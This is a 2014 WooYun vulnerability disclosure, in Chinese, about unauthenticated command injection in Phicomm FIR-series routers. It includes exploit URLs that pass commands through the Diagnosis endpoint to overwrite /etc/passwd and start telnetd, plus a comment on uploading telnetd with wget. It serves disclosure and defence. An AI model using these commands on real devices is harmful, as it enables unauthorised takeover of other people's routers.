当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-064136

漏洞标题：斐讯FIR15XM等多个型号路由器存在未经鉴权执行任意命令

相关厂商：斐讯

漏洞作者： latyas

提交时间：2014-06-09 09:40

修复时间：2014-07-24 09:42

公开时间：2014-07-24 09:42

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-09： 细节已通知厂商并且等待厂商处理中
2014-06-13： 厂商已经确认，细节仅向厂商公开
2014-06-23： 细节向核心白帽子及相关领域专家公开
2014-07-03： 细节向普通白帽子公开
2014-07-13： 细节向实习白帽子公开
2014-07-24： 细节向公众公开

简要描述：

FIR150M FIR151M 均存在这个问题， 其他型号暂时不清楚， 不过同系统的应该是存在的。

详细说明：

问题出在 http://192.168.1.1/diagnosis.asp
内有大量注释掉的代码，分析后，通过提交
http://192.168.1.1/goform/Diagnosis?system_command=命令
可以执行任意代码。
比如
http://192.168.1.1/goform/Diagnosis?system_command= echo "admin:jwEx7t/7fl0lY:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
可重置密码为admin
或者
http://192.168.1.1/goform/Diagnosis?system_command=telnetd
可打开telnet服务

漏洞证明：

QQ Photo20140609033524.jpg

修复方案：

版权声明：转载请注明来源 latyas@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-06-13 16:16

厂商回复：

CNVD未能在本地设备（从京东新购的对应版本不存在该漏洞）或互联网实例上复现所述情况，仅根据图片确认，后续将直接转报给设备厂商，由其进行确认。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-12 15:57 | cncert国家互联网应急中心(乌云厂商)

    暂未能实例复现。@latyas 网上有固件么？

  2. 2014-06-18 14:30 | latyas ( 路人 | Rank:21 漏洞数:2 | 没想到乌云币可以买书！)

    @cncert国家互联网应急中心 前天刚买的FIR302M,依然存在这样的漏洞,只是固件中没有telnetd,但是仍可以用wget将本地编译好的telnetd传进去后开启.固件百度了一下FIR150Mhttp://drivers.mydrivers.com/drivers/473_189407.htmFIR300Mhttp://drivers.mydrivers.com/drivers/473_189408.htm

  3. 2014-06-18 15:50 | cncert国家互联网应急中心(乌云厂商)

    @latyas 收到，我们再看看。

  4. 2014-07-05 15:40 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    从京东新购的对应版本不存在该漏洞。还真买的啊，好敬业！